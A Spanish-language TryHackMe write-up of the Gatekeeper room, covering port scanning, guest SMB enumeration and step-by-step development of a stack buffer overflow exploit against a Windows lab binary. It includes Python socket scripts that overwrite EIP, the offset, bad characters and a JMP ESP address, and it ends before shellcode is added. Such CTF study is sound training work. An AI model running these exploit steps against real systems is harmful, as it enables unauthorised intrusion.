Gatekeeper [TryHackMe]

2023-10-02

Introducción

Gatekeeper es una máquina de TryHackMe que nos pide explotar una vulnerabilidad de buffer overflow en un binario de Windows sin apenas dar ninguna información sobre el objetivo ni sobre que tipo de binario puede ser. Esta sala es de dificultad “media” y requiere un esfuerzo adicional respecto a las anteriores para poder explotarla. Sigue formando parte del bloque de Buffer Overflow del path “Offensive Pentesting” de TryHackMe, por lo que es recomendable haber completado las anteriores salas de este bloque y haber recopilado unos buenos apuntes sobre el tema antes de meterse en faena.

Escaneo de puertos

Realizo un escaneo con nmap en dos pasos, primero un escaneo rápido para ver que puertos están abiertos y luego un escaneo completo de los puertos abiertos para obtener más información sobre los servicios que están corriendo en ellos.

sudo nmap -sS --min-rate 5000 -p- -Pn -v -oN nmap_inicial 10.10.223.27

# Nmap 7.94 scan initiated Sun Oct  1 20:39:03 2023 as: nmap -sS --min-rate 5000 -p- -Pn -v -oN nmap_inicial 10.10.223.27
Increasing send delay for 10.10.223.27 from 0 to 5 due to 88 out of 292 dropped probes since last increase.
Increasing send delay for 10.10.223.27 from 5 to 10 due to 27 out of 89 dropped probes since last increase.
Increasing send delay for 10.10.223.27 from 10 to 20 due to 32 out of 105 dropped probes since last increase.
Increasing send delay for 10.10.223.27 from 20 to 40 due to 30 out of 98 dropped probes since last increase.
Increasing send delay for 10.10.223.27 from 320 to 640 due to 34 out of 112 dropped probes since last increase.
Warning: 10.10.223.27 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.223.27
Host is up (0.044s latency).
Not shown: 64219 closed tcp ports (reset), 1305 filtered tcp ports (no-response)
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3389/tcp  open  ms-wbt-server
31337/tcp open  Elite
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49161/tcp open  unknown
49167/tcp open  unknown

Read data files from: /usr/bin/../share/nmap
# Nmap done at Sun Oct  1 20:39:46 2023 -- 1 IP address (1 host up) scanned in 42.43 seconds
sudo nmap -p135,139,445,3389,31337,49152,49153,49154,49155,49161,49167 -sC -sV -Pn -oN nmap_final 10.10.223.27

# Nmap 7.94 scan initiated Sun Oct  1 20:39:46 2023 as: nmap -p135,139,445,3389,31337,49152,49153,49154,49155,49161,49167 -sC -sV -Pn -oN nmap_final 10.10.223.27
Nmap scan report for 10.10.223.27
Host is up (0.047s latency).

PORT      STATE SERVICE        VERSION
135/tcp   open  msrpc          Microsoft Windows RPC
139/tcp   open  netbios-ssn    Microsoft Windows netbios-ssn
445/tcp   open  0^M^F   *�H��^M^A^A^A^E Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
3389/tcp  open  tcpwrapped
| rdp-ntlm-info:
|   Target_Name: GATEKEEPER
|   NetBIOS_Domain_Name: GATEKEEPER
|   NetBIOS_Computer_Name: GATEKEEPER
|   DNS_Domain_Name: gatekeeper
|   DNS_Computer_Name: gatekeeper
|   Product_Version: 6.1.7601
|_  System_Time: 2023-10-01T18:42:24+00:00
| ssl-cert: Subject: commonName=gatekeeper
| Not valid before: 2023-09-30T18:39:17
|_Not valid after:  2024-03-31T18:39:17
|_ssl-date: 2023-10-01T18:42:39+00:00; 0s from scanner time.
31337/tcp open  Elite?
| fingerprint-strings:
|   FourOhFourRequest:
|     Hello GET /nice%20ports%2C/Tri%6Eity.txt%2ebak HTTP/1.0
|     Hello
|   GenericLines:
|     Hello
|     Hello
|   GetRequest:
|     Hello GET / HTTP/1.0
|     Hello
|   HTTPOptions:
|     Hello OPTIONS / HTTP/1.0
|     Hello
|   Help:
|     Hello HELP
|   Kerberos:
|     Hello !!!
|   LDAPSearchReq:
|     Hello 0
|     Hello
|   LPDString:
|     Hello
|     default!!!
|   RTSPRequest:
|     Hello OPTIONS / RTSP/1.0
|     Hello
|   SIPOptions:
|     Hello OPTIONS sip:nm SIP/2.0
|     Hello Via: SIP/2.0/TCP nm;branch=foo
|     Hello From: <sip:nm@nm>;tag=root
|     Hello To: <sip:nm2@nm2>
|     Hello Call-ID: 50000
|     Hello CSeq: 42 OPTIONS
|     Hello Max-Forwards: 70
|     Hello Content-Length: 0
|     Hello Contact: <sip:nm@nm>
|     Hello Accept: application/sdp
|     Hello
|   SSLSessionReq, TLSSessionReq, TerminalServerCookie:
|_    Hello
49152/tcp open  msrpc          Microsoft Windows RPC
49153/tcp open  msrpc          Microsoft Windows RPC
49154/tcp open  msrpc          Microsoft Windows RPC
49155/tcp open  msrpc          Microsoft Windows RPC
49161/tcp open  msrpc          Microsoft Windows RPC
49167/tcp open  msrpc          Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port31337-TCP:V=7.94%I=7%D=10/1%Time=6519BCFD%P=x86_64-pc-linux-gnu%r(G
SF:etRequest,24,"Hello\x20GET\x20/\x20HTTP/1\.0\r!!!\nHello\x20\r!!!\n")%r
SF:(SIPOptions,142,"Hello\x20OPTIONS\x20sip:nm\x20SIP/2\.0\r!!!\nHello\x20
SF:Via:\x20SIP/2\.0/TCP\x20nm;branch=foo\r!!!\nHello\x20From:\x20<sip:nm@n
SF:m>;tag=root\r!!!\nHello\x20To:\x20<sip:nm2@nm2>\r!!!\nHello\x20Call-ID:
SF:\x2050000\r!!!\nHello\x20CSeq:\x2042\x20OPTIONS\r!!!\nHello\x20Max-Forw
SF:ards:\x2070\r!!!\nHello\x20Content-Length:\x200\r!!!\nHello\x20Contact:
SF:\x20<sip:nm@nm>\r!!!\nHello\x20Accept:\x20application/sdp\r!!!\nHello\x
SF:20\r!!!\n")%r(GenericLines,16,"Hello\x20\r!!!\nHello\x20\r!!!\n")%r(HTT
SF:POptions,28,"Hello\x20OPTIONS\x20/\x20HTTP/1\.0\r!!!\nHello\x20\r!!!\n"
SF:)%r(RTSPRequest,28,"Hello\x20OPTIONS\x20/\x20RTSP/1\.0\r!!!\nHello\x20\
SF:r!!!\n")%r(Help,F,"Hello\x20HELP\r!!!\n")%r(SSLSessionReq,C,"Hello\x20\
SF:x16\x03!!!\n")%r(TerminalServerCookie,B,"Hello\x20\x03!!!\n")%r(TLSSess
SF:ionReq,C,"Hello\x20\x16\x03!!!\n")%r(Kerberos,A,"Hello\x20!!!\n")%r(Fou
SF:rOhFourRequest,47,"Hello\x20GET\x20/nice%20ports%2C/Tri%6Eity\.txt%2eba
SF:k\x20HTTP/1\.0\r!!!\nHello\x20\r!!!\n")%r(LPDString,12,"Hello\x20\x01de
SF:fault!!!\n")%r(LDAPSearchReq,17,"Hello\x200\x84!!!\nHello\x20\x01!!!\n"
SF:);
Service Info: Host: GATEKEEPER; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_nbstat: NetBIOS name: GATEKEEPER, NetBIOS user: <unknown>, NetBIOS MAC: 02:38:c9:a6:8d:ed (unknown)
| smb2-security-mode:
|   2:1:0:
|_    Message signing enabled but not required
| smb-os-discovery:
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: gatekeeper
|   NetBIOS computer name: GATEKEEPER\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2023-10-01T14:42:24-04:00
|_clock-skew: mean: 47m59s, deviation: 1h47m19s, median: 0s
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time:
|   date: 2023-10-01T18:42:24
|_  start_date: 2023-10-01T18:38:50

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Oct  1 20:42:40 2023 -- 1 IP address (1 host up) scanned in 174.33 seconds

Llama la atención el puerto 31337 que parece estar corriendo el binario objetivo. También es llamativo el servicio SMB que está corriendo en el puerto 445. Voy a intentar obtener información sobre el servicio SMB y después comprobaré el binario que está corriendo en el puerto 31337.

Pruebo el binario usando netcat y veo que se trata de un servidor que escucha en el puerto 31337 y que responde a los comandos que le envío con un “Hello” y el string que le he enviado.

❯ nc -vn

Frodo
Hello Frodo!!!
Gollum
Hello Gollum!!!

Enumeración SMB

Usando smbclicent intento obtener información sobre el servicio SMB, con el usuario guest y sin contraseña, usando las opciones -L y -N para listar los recursos compartidos y obtener información sobre el sistema operativo.

❯ smbclient -L //10.10.223.27 -N

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	IPC$            IPC       Remote IPC
	Users           Disk      
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.223.27 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

Tras encontrar que el recurso compartido Users existe, intento listar su contenido pero no tengo permisos para ello.

❯ smbclient --user "guest" //10.10.223.27/Users
Password for [WORKGROUP\guest]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                  DR        0  Fri May 15 03:57:08 2020
  ..                                 DR        0  Fri May 15 03:57:08 2020
  Default                           DHR        0  Tue Jul 14 09:07:31 2009
  desktop.ini                       AHS      174  Tue Jul 14 06:54:24 2009
  Share                               D        0  Fri May 15 03:58:07 2020

		7863807 blocks of size 4096. 3878843 blocks available

Encuentro el binario que debe estar corriendo en el puerto 31337, gatekeeper.exe, y lo descargo.

smb: \Share\> ls
  .                                   D        0  Fri May 15 03:58:07 2020
  ..                                  D        0  Fri May 15 03:58:07 2020
  gatekeeper.exe                      A    13312  Mon Apr 20 07:27:17 2020

		7863807 blocks of size 4096. 3878843 blocks available
smb: \Share\> mget gatekeeper.exe 
Get file gatekeeper.exe? yes
getting file \Share\gatekeeper.exe of size 13312 as gatekeeper.exe (51,0 KiloBytes/sec) (average 51,0 KiloBytes/sec)

Análisis del binario

Paso el binario a una máquina virtual con Windows 7 y con Inmunity Debugger para poder analizarlo. Lo primero que hago es abrirlo con Inmunity Debugger y ver que tipo de binario es. En este caso es un binario de 32 bits. Al ponerlo en marcha veo que se trata de un servidor que escucha en el puerto 31337. Hago un nmap a mi maquina de pruebas con el binario funcionando para seguir analizándolo.

❯ sudo nmap -sCV -sS -p- -T4 192.168.1.109
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-01 21:22 CEST
Nmap scan report for 192.168.1.109
Host is up (0.00027s latency).
Not shown: 65529 filtered tcp ports (no-response)
PORT      STATE SERVICE     VERSION
135/tcp   open  msrpc       Microsoft Windows RPC
139/tcp   open  netbios-ssn Microsoft Windows netbios-ssn
445/tcp   open   lU      Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
2869/tcp  open  http        Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5357/tcp  open  http        Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Service Unavailable
|_http-server-header: Microsoft-HTTPAPI/2.0
31337/tcp open  Elite?
| fingerprint-strings: 
|   FourOhFourRequest: 
|     Hello GET /nice%20ports%2C/Tri%6Eity.txt%2ebak HTTP/1.0
|     Hello
|   GenericLines: 
|     Hello 
|     Hello
|   GetRequest: 
|     Hello GET / HTTP/1.0
|     Hello
|   HTTPOptions: 
|     Hello OPTIONS / HTTP/1.0
|     Hello
|   Help: 
|     Hello HELP
|   Kerberos: 
|     Hello !!!
|   LDAPSearchReq: 
|     Hello 0
|     Hello
|   LPDString: 
|     Hello 
|     default!!!
|   RTSPRequest: 
|     Hello OPTIONS / RTSP/1.0
|     Hello
|   SIPOptions: 
|     Hello OPTIONS sip:nm SIP/2.0
|     Hello Via: SIP/2.0/TCP nm;branch=foo
|     Hello From: <sip:nm@nm>;tag=root
|     Hello To: <sip:nm2@nm2>
|     Hello Call-ID: 50000
|     Hello CSeq: 42 OPTIONS
|     Hello Max-Forwards: 70
|     Hello Content-Length: 0
|     Hello Contact: <sip:nm@nm>
|     Hello Accept: application/sdp
|     Hello
|   SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|_    Hello
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port31337-TCP:V=7.94%I=7%D=10/1%Time=6519C74F%P=x86_64-pc-linux-gnu%r(G
SF:etRequest,24,"Hello\x20GET\x20/\x20HTTP/1\.0\r!!!\nHello\x20\r!!!\n")%r
SF:(SIPOptions,142,"Hello\x20OPTIONS\x20sip:nm\x20SIP/2\.0\r!!!\nHello\x20
SF:Via:\x20SIP/2\.0/TCP\x20nm;branch=foo\r!!!\nHello\x20From:\x20<sip:nm@n
SF:m>;tag=root\r!!!\nHello\x20To:\x20<sip:nm2@nm2>\r!!!\nHello\x20Call-ID:
SF:\x2050000\r!!!\nHello\x20CSeq:\x2042\x20OPTIONS\r!!!\nHello\x20Max-Forw
SF:ards:\x2070\r!!!\nHello\x20Content-Length:\x200\r!!!\nHello\x20Contact:
SF:\x20<sip:nm@nm>\r!!!\nHello\x20Accept:\x20application/sdp\r!!!\nHello\x
SF:20\r!!!\n")%r(GenericLines,16,"Hello\x20\r!!!\nHello\x20\r!!!\n")%r(HTT
SF:POptions,28,"Hello\x20OPTIONS\x20/\x20HTTP/1\.0\r!!!\nHello\x20\r!!!\n"
SF:)%r(RTSPRequest,28,"Hello\x20OPTIONS\x20/\x20RTSP/1\.0\r!!!\nHello\x20\
SF:r!!!\n")%r(Help,F,"Hello\x20HELP\r!!!\n")%r(SSLSessionReq,C,"Hello\x20\
SF:x16\x03!!!\n")%r(TerminalServerCookie,B,"Hello\x20\x03!!!\n")%r(TLSSess
SF:ionReq,C,"Hello\x20\x16\x03!!!\n")%r(Kerberos,A,"Hello\x20!!!\n")%r(Fou
SF:rOhFourRequest,47,"Hello\x20GET\x20/nice%20ports%2C/Tri%6Eity\.txt%2eba
SF:k\x20HTTP/1\.0\r!!!\nHello\x20\r!!!\n")%r(LPDString,12,"Hello\x20\x01de
SF:fault!!!\n")%r(LDAPSearchReq,17,"Hello\x200\x84!!!\nHello\x20\x01!!!\n"
SF:);
MAC Address: 08:00:27:39:30:46 (Oracle VirtualBox virtual NIC)
Service Info: Host: USUARIO-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_nbstat: NetBIOS name: USUARIO-PC, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:39:30:46 (Oracle VirtualBox virtual NIC)
|_clock-skew: mean: -40m00s, deviation: 1h09m16s, median: -1s
| smb2-time: 
|   date: 2023-10-01T19:26:24
|_  start_date: 2023-10-01T19:15:01
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2:1:0: 
|_    Message signing enabled but not required
| smb-os-discovery: 
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: usuario-PC
|   NetBIOS computer name: USUARIO-PC\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2023-10-01T21:26:25+02:00

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 286.07 seconds

Pruebo el binario conectandome con netcat, observo el mismo comportamiento que en la máquina de TryHackMe. Supongo que los mensajes que acepte el binario deben tener un límite de caracteres, por lo que pruebo a enviarle un mensaje de 800 caracteres y veo que se rompe.

❯ nc -vn 192.168.1.109 31337
Connection to 192.168.1.109 31337 port [tcp/*] succeeded!
hello
Hello hello!!!
sam
Hello sam!!!
frodo
Hello frodo!!!
gollum
Hello gollum!!!

Con este script, preparo un payload de 800 caracteres y lo envío al binario. En el EIP se puede ver el valor 41414141 que son las A

❯ python -c 'print("A" * 800)'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                                                                                                                                                         
❯ nc -vn 192.168.1.109 31337
Connection to 192.168.1.109 31337 port [tcp/*] succeeded!
hi
Hello hi!!!
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Reviso Inmunity Debugger y compruebo el resultado obtenido en la dirección EIP. En el registro EIP se puede ver el valor 41414141 que son las A que he enviado en el payload.

EAX FFFFFFFF
ECX 7EFDA000
EDX 00002736
EBX 005CF400
ESP 021319F8 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EBP 41414141
ESI 08041470 gatekeep.08041470
EDI 005CF400
EIP 41414141
C 0  ES 002B 32bit 0(FFFFFFFF)
P 1  CS 0023 32bit 0(FFFFFFFF)
A 0  SS 002B 32bit 0(FFFFFFFF)
Z 0  DS 002B 32bit 0(FFFFFFFF)
S 1  FS 0053 32bit 7EFDA000(FFF)
T 0  GS 002B 32bit 0(FFFFFFFF)
D 0
O 0  LastErr WSAENOTSOCK (00002736)
EFL 00010286 (NO,NB,NE,A,S,PE,L,LE)
ST0 empty g
ST1 empty g
ST2 empty g
ST3 empty g
ST4 empty g
ST5 empty g
ST6 empty g
ST7 empty g
               3 2 1 0      E S P U O Z D I
FST 0000  Cond 0 0 0 0  Err 0 0 0 0 0 0 0 0  (GT)
FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1

Sabiendo esto, preparo un script de python para enviar un payload de 800 caracteres y comprobar si puedo sobreescribir el EIP con el valor 42424242 que son las B. En el registro EIP se puede ver el valor 42424242 que son las B que he enviado en el payload.

❯ msf-pattern_create -l 800
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba

Pero antes necesito conseguir el offset para saber cuantos caracteres tengo que enviar para sobreescribir el EIP. Para ello, envío el payload de 800 caracteres y obtengo el valor del ESP para calcular el offset.

import socket

ip = "192.168.1.109"
port = 31337

prefix = "k3ss "
offset = 0
overflow = "A" * offset
retn =  ""
padding = ""

payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af>

postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
 # s.recv(1024)
  print("Done!")

except Exception as e:
    print(f"An error occurred: {e}")

Con el valor del ESP y la longitud del payload, obtengo el offset usando msf-pattern_offset.

❯ msf-pattern_offset -q 41376541 -l 800
[*] Exact match at offset 141

Actualizo el script de python con el offset y compruebo que puedo sobreescribir el EIP con el valor 42424242 que son las B. Esta vez no incluyo nada en el payload para comprobar que el EIP se ha sobreescribido correctamente.

import socket

ip = "192.168.1.109"
port = 31337

prefix = "k3ss "
offset = 141
overflow = "A" * offset

retn =  "BBBB"

padding = ""

payload = ""

postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
 # s.recv(1024)
  print("Done!")

except Exception as e:
    print(f"An error occurred: {e}")

Veo que el script ha funcionado correctamente, el EIP se ha sobreescribido con el valor 42424242 que son las B.

EAX FFFFFFFF
ECX 7EFDA000
EDX 00002736
EBX 005EF400
ESP 005019F8 ASCII "
!!!
"
EBP 41414141
ESI 08041470 gatekeep.08041470
EDI 005EF400
EIP 42424242
C 0  ES 002B 32bit 0(FFFFFFFF)
P 1  CS 0023 32bit 0(FFFFFFFF)
A 0  SS 002B 32bit 0(FFFFFFFF)
Z 0  DS 002B 32bit 0(FFFFFFFF)
S 1  FS 0053 32bit 7EFDA000(FFF)
T 0  GS 002B 32bit 0(FFFFFFFF)
D 0
O 0  LastErr WSAENOTSOCK (00002736)
EFL 00010286 (NO,NB,NE,A,S,PE,L,LE)
ST0 empty g
ST1 empty g
ST2 empty g
ST3 empty g
ST4 empty g
ST5 empty g
ST6 empty g
ST7 empty g
               3 2 1 0      E S P U O Z D I
FST 0000  Cond 0 0 0 0  Err 0 0 0 0 0 0 0 0  (GT)
FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1

Ahora vamos a buscar los badcharacters. Estos son los caracteres que no se pueden enviar al binario porque pueden estropear el shellcode que envíe finalmente en mi payload. Para ello, preparo un script de python que envía todos los caracteres posibles y compruebo que no se rompe el binario. En este caso, el binario se rompe con el caracter 00.

for x in range(1, 256):
    print("\\x" + "{:02x}".format(x), end='')

print()
❯ python3 bytearray.py
\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff
import socket

ip = "192.168.1.109"
port = 31337

prefix = "k3ss "
offset = 141
overflow = "A" * offset

retn =  "BBBB"

padding = ""

payload = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\>

postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
 # s.recv(1024)
  print("Done!")

except Exception as e:
    print(f"An error occurred: {e}")

Antes de lanzar el exploit, ejecuto el comando !mona bytearray para generar un fichero con los caracteres buscados, empezando por el \x00, y luego ejecuto el comando !mona compare para comprobar que caracteres son los que no se pueden enviar al binario. En este caso, el binario se rompe con el caracter \x00 y \x0a.

!mona bytearray -b "\x00"
!mona compare -f C:\mona\gatekeeper\\bytearray.bin -a ESP

mona Memory comparison results, item 0
 Address=0x020119f8
 Status=Corruption after 9 bytes
 BadChars=00 0a
 Type=normal
 Location=Stack

Repito el proceso anterior pero esta vez con el caracter \x0a, asegurandome de que esos caracteres no se incluyen en el payload enviado.

!mona bytearray -b "\x00\x0a"
!mona compare -f C:\mona\gatekeeper\\bytearray.bin -a ESP

mona Memory comparison results, item 0
 Address=0x009919f8
 Status=Unmodified
 BadChars=
 Type=normal
 Location=Stack

Ahora la comparación no muestra ningún caracter y el status es Unmodified, por lo que puedo asegurar que el caracter \x0a no se puede enviar al binario. Lo siguiente será buscar el punto de salto para poder saltar a mi payload. Para ello, ejecuto el comando !mona jmp -r esp -cpb “\x00\x0a” para buscar los puntos de salto que no contengan los caracteres \x00 y \x0a. En este caso, el punto de salto que voy a usar es 080414C3.

